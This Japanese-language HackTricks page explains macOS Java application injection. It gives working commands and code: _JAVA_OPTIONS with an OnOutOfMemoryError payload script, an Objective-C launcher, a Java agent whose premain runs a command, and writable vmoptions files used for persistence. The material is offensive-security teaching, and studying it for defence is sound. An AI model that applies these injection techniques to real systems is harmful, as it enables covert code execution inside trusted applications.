htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ ! 列挙
システムにインストールされているJavaアプリケーションを見つけます。Info.plist にJavaアプリが含まれていることがわかりました。そのため、**java.
**という文字列を含むJavaパラメータが含まれている可能性があるため、それを検索できます:
Copy # Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2> /dev/null
# Full search
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2> /dev/null
_JAVA_OPTIONS
環境変数 _JAVA_OPTIONS
は、Javaでコンパイルされたアプリケーションの実行に任意のJavaパラメータを注入するために使用できます:
Copy # Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS = '-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
新しいプロセスとして実行し、現在のターミナルの子プロセスとしてではなく使用するには、次のコマンドを使用できます:
Copy #import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
NSError *error = nil;
// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}
NSLog(@"File written successfully to %@", filePath);
// Create a new task
NSTask *task = [[NSTask alloc] init];
/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];
// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];
// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};
// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];
// Set the task's environment
[task setEnvironment:environment];
// Launch the task
[task launch];
}
return 0;
}
しかし、それは実行されたアプリケーションでエラーを引き起こす可能性があります。もう1つのより慎重な方法は、Java エージェントを作成して使用することです:
Copy export _JAVA_OPTIONS = '-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
# Or
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
アプリケーションとは異なるJavaバージョン でエージェントを作成すると、エージェントとアプリケーションの両方の実行がクラッシュする可能性があります。
エージェントは次のようになります:
Copy import java . io . * ;
import java . lang . instrument . * ;
public class Agent {
public static void premain ( String args , Instrumentation inst) {
try {
String [] commands = new String [] { "/usr/bin/open" , "-a" , "Calculator" };
Runtime . getRuntime () . exec (commands);
}
catch ( Exception err) {
err . printStackTrace ();
}
}
}
エージェントをコンパイルするには、次のコマンドを実行します:
Copy javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
manifest.txt
を使用して:
Copy Premain-Class: Agent
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
その後、環境変数をエクスポートして、次のようにJavaアプリケーションを実行します:
Copy export _JAVA_OPTIONS = '-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
# Or
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
vmoptionsファイル
このファイルは、Javaが実行される際にJavaパラメータ の指定をサポートします。以前のトリックのいくつかを使用して、Javaパラメータを変更し、プロセスが任意のコマンドを実行 することができます。
さらに、このファイルはinclude
ディレクトリで他のファイルを含めることもできる ため、含まれるファイルも変更できます。
さらに、一部のJavaアプリケーションは**複数のvmoptions
**ファイルを読み込むことがあります。
Android Studioのような一部のアプリケーションは、これらのファイルを探している場所を出力 で示しています。
Copy /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19 :53:23.921 studio[ 74913 :581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
もし彼らがしない場合は、簡単に次のようにチェックできます:
Copy # Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio
Android Studioのこの例では、興味深いことに、/Applications/Android Studio.app.vmoptions
ファイルを読み込もうとしています。このファイルは、admin
グループのユーザーが書き込みアクセス権を持っている場所 です。
Last updated 3 months ago